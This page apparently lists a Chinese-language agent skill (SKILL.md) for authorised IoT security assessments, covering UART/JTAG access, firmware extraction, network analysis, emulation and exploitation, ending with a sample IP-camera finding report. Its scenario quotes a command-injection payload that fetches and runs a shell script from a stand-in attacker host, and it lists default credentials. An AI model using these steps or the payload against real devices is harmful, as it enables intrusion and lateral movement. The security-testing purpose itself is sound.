performing-iot-security-assessment

通过测试硬件接口、固件、网络通信、云 API 和配套移动应用程序,对 IoT 设备及其生态系统执行全面的安全评估。 测试人员使用固件提取与分析、通过 UART 和 JTAG 进行硬件调试、网络协议分析以及运行时利用等技术, 识别 IoT 各层的漏洞。适用于 IoT 安全测试、嵌入式设备评估、固件安全分析或智能设备渗透测试等请求场景。

9 stars

Best use case

performing-iot-security-assessment is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

通过测试硬件接口、固件、网络通信、云 API 和配套移动应用程序,对 IoT 设备及其生态系统执行全面的安全评估。 测试人员使用固件提取与分析、通过 UART 和 JTAG 进行硬件调试、网络协议分析以及运行时利用等技术, 识别 IoT 各层的漏洞。适用于 IoT 安全测试、嵌入式设备评估、固件安全分析或智能设备渗透测试等请求场景。

Teams using performing-iot-security-assessment should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/performing-iot-security-assessment/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/performing-iot-security-assessment/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/performing-iot-security-assessment/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How performing-iot-security-assessment Compares

Feature / Agentperforming-iot-security-assessmentStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

通过测试硬件接口、固件、网络通信、云 API 和配套移动应用程序,对 IoT 设备及其生态系统执行全面的安全评估。 测试人员使用固件提取与分析、通过 UART 和 JTAG 进行硬件调试、网络协议分析以及运行时利用等技术, 识别 IoT 各层的漏洞。适用于 IoT 安全测试、嵌入式设备评估、固件安全分析或智能设备渗透测试等请求场景。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 执行 IoT 安全评估

## 使用场景

- 在企业或关键基础设施环境部署前评估 IoT 设备的安全性
- 作为产品安全审查或认证的一部分,评估消费级 IoT 产品的安全漏洞
- 测试工业 IoT(IIoT)设备,识别可能影响运营技术环境的漏洞
- 分析固件中的后门、硬编码凭据以及嵌入式组件的已知漏洞
- 评估完整 IoT 生态系统(包括设备、云后端和配套移动应用)的安全性

**不适用场景**:未获得书面授权擅自测试 IoT 设备、修改非自有设备的固件,或未获得专项医疗设备测试授权和安全协议而测试医疗设备或安全关键系统。

## 前置条件

- 对目标 IoT 设备的物理访问权限,用于硬件分析和测试
- 硬件工具:USB 转 UART 适配器(FTDI)、Bus Pirate、逻辑分析仪、JTAG 调试器(Segger J-Link)、SPI 闪存编程器(CH341A)
- 固件分析工具:Binwalk、Firmwalker、固件分析工具包(FAT)、Ghidra、QEMU(用于仿真)
- 网络分析:Wireshark、tcpdump、蓝牙工具(Ubertooth、nRF Connect)、Zigbee 工具(KillerBee)
- 焊接设备(如需访问硬件调试点)

## 工作流程

### 步骤一:设备侦察与硬件分析

检查物理设备并识别攻击面:

- **外部检查**:记录所有物理接口(USB、以太网、串口、SD 卡槽)、标签、FCC ID 和型号
- **FCC ID 查询**:使用 FCC ID 在 FCC 数据库(fcc.gov/oet/ea/fccid)搜索内部照片、原理图和无线频率信息
- **PCB 分析**:打开设备外壳并拍摄 PCB 照片。识别:
  - 主处理器/SoC(读取标识,查找数据手册)
  - 闪存芯片(SPI NOR、NAND、eMMC)
  - 调试接头和测试点
  - UART/JTAG/SWD 引脚(寻找 4 针或 10 针接头,或未焊接的焊盘)
- **UART 识别**:使用万用表识别 UART 引脚(TX、RX、GND、VCC),连接 USB 转 UART 适配器,尝试以常用波特率(9600、38400、57600、115200)访问串口控制台
- **JTAG 识别**:使用 JTAGulator 或手动探针识别 JTAG 引脚(TCK、TMS、TDI、TDO、TRST),连接 JTAG 调试器进行内存访问和调试

### 步骤二:固件提取与分析

提取并分析设备固件:

- **固件获取方式**:
  - 从厂商网站或更新服务器下载
  - 使用 SPI 编程器从闪存芯片提取:将 CH341A 连接到 SPI 闪存,使用 `flashrom -p ch341a_spi -r firmware.bin` 读取
  - 通过网络拦截捕获无线更新
  - 从 UART 引导加载程序控制台提取(U-Boot:`md.b` 内存转储)
- **固件解包**:`binwalk -e firmware.bin` 提取文件系统、内核和引导加载程序组件
- **文件系统分析**:
  - 搜索凭据:`grep -rn "password\|passwd\|secret\|key" squashfs-root/`
  - 检查 `/etc/shadow` 中的密码哈希
  - 审查 `/etc/init.d/` 中的启动脚本,查找不安全的服务配置
  - 识别 Web 服务器配置和 CGI 脚本,查找 Web 界面漏洞
  - 使用 Firmwalker 自动发现敏感数据:`./firmwalker.sh squashfs-root/`
- **二进制分析**:使用 Ghidra 对关键二进制文件(Web 服务器、管理守护进程、认证模块)进行逆向工程,查找硬编码凭据、命令注入和缓冲区溢出漏洞
- **已知漏洞扫描**:提取软件版本并与 CVE 数据库交叉参考。使用 `firmware-analysis-toolkit` 进行自动化 CVE 扫描

### 步骤三:网络通信分析

分析 IoT 设备的所有网络流量:

- **流量捕获**:将设备连接到带有流量镜像(SPAN 端口)的网络,或使用内联透明网桥。使用 Wireshark 捕获所有流量
- **协议分析**:识别所使用的所有协议(HTTP、HTTPS、MQTT、CoAP、AMQP、自定义 TCP/UDP),检查未加密的敏感数据传输
- **TLS 分析**:验证 TLS 实施:证书验证、密码套件强度、证书锁定。尝试使用 Burp Suite 进行中间人拦截
- **云 API 分析**:拦截设备到云的通信,识别 API 端点、认证方式和传输数据。测试 IDOR、认证绕过和过度数据暴露
- **蓝牙/BLE 测试**:使用 nRF Connect 或 Ubertooth 枚举 BLE 服务和特征。测试未认证访问、明文数据传输和静态配对密钥
- **Zigbee/Z-Wave 测试**:使用 KillerBee 框架捕获和分析 Zigbee 流量,测试重放攻击,检查密钥交换安全性

### 步骤四:固件仿真与动态测试

仿真固件进行动态安全测试:

- **QEMU 仿真**:使用 FirmAE 或 Firmadyne 仿真提取的固件:`python3 fat.py firmware.bin` 在仿真环境中启动固件
- **Web 界面测试**:在仿真环境中访问设备的 Web 管理界面,测试:
  - 默认凭据(admin:admin、root:root、admin:password)
  - 配置参数中的命令注入
  - 通过直接 URL 访问绕过认证
  - 所有输入字段的跨站脚本(XSS)
  - 状态变更操作中的 CSRF
- **服务测试**:使用 Nmap 扫描仿真设备的所有开放端口,并对每个服务测试已知漏洞
- **模糊测试**:使用 Boofuzz 或 AFL 对网络服务进行模糊测试,发现嵌入式服务中的内存损坏漏洞

### 步骤五:利用与影响演示

利用已识别漏洞演示影响:

- **远程代码执行**:将发现的漏洞(命令注入、缓冲区溢出)链接起来,在设备上实现远程代码执行
- **凭据提取**:提取并破解在固件、内存转储或网络捕获中发现的凭据
- **横向移动**:演示已入侵的 IoT 设备如何被用于攻击网络上的其他设备
- **持久化**:展示攻击者如何在固件更新或重启后保持对设备的访问
- **物理影响**:对于 IIoT 设备,演示物理操控的可能性(更改传感器读数、修改执行器命令)

## 核心概念

| 术语 | 定义 |
|------|------------|
| **UART** | 通用异步收发器;嵌入式设备上常用于调试控制台的串行通信接口,通常可提供 root shell 访问 |
| **JTAG** | 联合测试行动组;提供对处理器直接访问的硬件调试接口,可用于内存读取、代码调试和固件提取 |
| **固件(Firmware)** | 存储在设备闪存中控制其运行的软件,通常由引导加载程序、操作系统内核和根文件系统组成 |
| **Binwalk** | 固件分析工具,可识别并提取固件镜像中嵌入的文件系统、压缩存档和二进制组件 |
| **MQTT** | 消息队列遥测传输;IoT 设备通信中常用的轻量级发布/订阅协议,通常在无认证情况下部署 |
| **BLE** | 低功耗蓝牙;许多 IoT 设备用于短距离通信的无线协议,若未妥善保护则易受窃听和未授权访问 |

## 工具与系统

- **Binwalk**:固件提取和分析工具,可识别固件镜像中的文件系统类型、压缩格式和嵌入数据
- **Ghidra**:NSA 开源逆向工程框架,支持 ARM、MIPS 等多种架构的嵌入式设备二进制分析
- **FirmAE/Firmadyne**:自动化固件仿真平台,在 QEMU 中启动提取的基于 Linux 的 IoT 固件进行动态测试
- **Bus Pirate**:硬件黑客多功能工具,支持 UART、SPI、I2C 和 JTAG 协议,用于与嵌入式设备调试接口交互
- **Wireshark**:网络协议分析器,用于捕获和分析 IoT 设备在所有协议层的网络流量

## 常见场景

### 场景:企业 IP 摄像头安全评估

**背景**:一家公司计划在办公室部署来自同一供应商的 200 台 IP 摄像头。部署前,安全团队要求对摄像头进行渗透测试,以识别可能被利用来访问企业网络的漏洞。

**方法**:
1. 打开摄像头并在 PCB 上识别 UART 引脚;连接后以 115200 波特率、无密码访问 root shell
2. 从 SPI 闪存芯片提取固件并用 Binwalk 分析:发现嵌入了 BusyBox 的 Linux、lighttpd Web 服务器和自定义管理守护进程
3. 在 `/etc/shadow` 中发现硬编码凭据(root:$1$abc$hashedpassword),几秒内破解 MD5 哈希(密码:camera123)
4. Web 界面测试发现 NTP 服务器配置字段中的命令注入:`; wget http://attacker.com/shell.sh | sh`
5. 网络分析显示摄像头未加密发送 RTSP 流,且 ONVIF 服务无需认证即可访问
6. 演示横向移动:从已入侵的摄像头扫描企业网络,访问 3 台内部服务器
7. 报告建议进行网络隔离、联系固件供应商,并将摄像头部署在隔离的 VLAN 上

**常见陷阱**:
- 仅关注 Web 界面,遗漏提供无认证 root shell 的 UART/JTAG 访问
- 未分析固件中可能在同型号所有设备间共享的硬编码凭据
- 孤立测试设备,遗漏在企业网络上部署脆弱设备的网络层风险
- 忽视可能暴露额外攻击面的云连接和移动应用组件

## 输出格式

```
## 发现:通过 UART 调试接口的未认证 Root Shell

**ID**: IOT-001
**严重性**: 严重(CVSS 9.0)
**设备**: ModelCam X200 IP 摄像头(固件 v3.2.1)
**接口**: UART 串口控制台(115200 波特率,8N1)

**描述**:
该 IP 摄像头在 PCB 上暴露了一个 UART 串口接口,可在无需认证的情况下
直接提供 root shell 访问权限。能够物理接触设备的攻击者只需连接
USB 转 UART 适配器,即可获得嵌入式 Linux 操作系统的完整 root 访问权限。

**概念验证**:
1. 打开设备外壳(4 颗十字螺丝,无防拆检测)
2. 将 FTDI 适配器连接到 UART 引脚(PCB 上的 J3 接头)
3. 串口终端设置 115200 8N1:立即出现 root shell 提示符
4. root@camera:~# id -> uid=0(root) gid=0(root)

**通过 Root 访问发现的其他问题**:
- /etc/shadow 包含所有设备共享的硬编码 root 密码(camera123)
- 已配置网络的 WiFi 凭据以明文形式存储于 /etc/wireless.conf
- RTSP 流在 554 端口无需认证即可访问

**影响**:
对任何已部署摄像头的物理访问即可获得网络的 root 权限。
200 台摄像头部署于各办公室,每台摄像头都成为具备
root 级命令执行能力的潜在网络入口点。

**修复建议**:
1. 在生产固件中禁用 UART 控制台访问或要求认证
2. 移除硬编码凭据;使用制造时生成的每设备唯一密码
3. 使用硬件支持的密钥加密存储的 WiFi 凭据
4. 将摄像头部署在与企业网络隔离的 VLAN 上
```

Related Skills

triaging-security-incident

9
from killvxk/cybersecurity-skills-zh

使用 NIST SP 800-61r3 和 SANS PICERL 框架对安全事件进行初始分类,确定严重性、范围和所需响应行动。 按类型对事件分类,根据业务影响分配优先级,并路由到相应的响应团队。适用于事件分类、 安全告警分类、严重性评估、事件优先级排序或初始事件分析等请求场景。

triaging-security-incident-with-ir-playbook

9
from killvxk/cybersecurity-skills-zh

使用结构化 IR Playbook 对安全事件进行分类和优先排序,确定严重性、分配响应团队并启动适当的响应程序。

triaging-security-alerts-in-splunk

9
from killvxk/cybersecurity-skills-zh

在 Splunk Enterprise Security 中对安全告警进行分类,通过 SPL 查询和事件审查(Incident Review) 仪表板对重要事件进行严重性分类、调查、关联相关遥测并做出升级或关闭决策。 适用于 SOC 分析师需要处理关联搜索产生的告警队列、确定调查优先级, 或需要为交接给二/三级分析师记录分类决策时。

testing-websocket-api-security

9
from killvxk/cybersecurity-skills-zh

测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。

testing-jwt-token-security

9
from killvxk/cybersecurity-skills-zh

在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。

testing-api-security-with-owasp-top-10

9
from killvxk/cybersecurity-skills-zh

使用自动化和手工测试技术,针对 OWASP API 安全 Top 10 风险对 REST 和 GraphQL API 端点进行系统性评估。

performing-yara-rule-development-for-detection

9
from killvxk/cybersecurity-skills-zh

通过识别可执行文件中的唯一字节模式、字符串和行为指标,开发精准的 YARA 恶意软件检测规则,同时将误报率降至最低。

performing-wireless-security-assessment-with-kismet

9
from killvxk/cybersecurity-skills-zh

使用 Kismet 通过被动射频监控进行无线网络安全评估,检测流氓接入点(Rogue AP)、隐藏 SSID、弱加密和未授权客户端。

performing-wireless-network-penetration-test

9
from killvxk/cybersecurity-skills-zh

执行无线网络渗透测试,通过捕获握手包、破解 WPA2/WPA3 密钥、检测流氓接入点以及使用 Aircrack-ng 和相关工具测试无线网络分段,评估 WiFi 安全性。

performing-windows-artifact-analysis-with-eric-zimmerman-tools

9
from killvxk/cybersecurity-skills-zh

使用 Eric Zimmerman 的开源 EZ Tools 套件(包括 KAPE、MFTECmd、PECmd、LECmd、JLECmd 和 Timeline Explorer)执行全面的 Windows 取证制品分析,解析注册表 hive、预取文件、事件日志和文件系统元数据。

performing-wifi-password-cracking-with-aircrack

9
from killvxk/cybersecurity-skills-zh

在授权无线安全评估中捕获 WPA/WPA2 握手包,并使用 aircrack-ng、hashcat 和字典攻击进行离线密码破解, 以评估密码短语强度和无线网络安全状况。

performing-web-cache-poisoning-attack

9
from killvxk/cybersecurity-skills-zh

在授权安全测试期间,通过未纳入缓存键的头部和参数毒化缓存响应,利用 Web 缓存机制向其他用户投递恶意内容。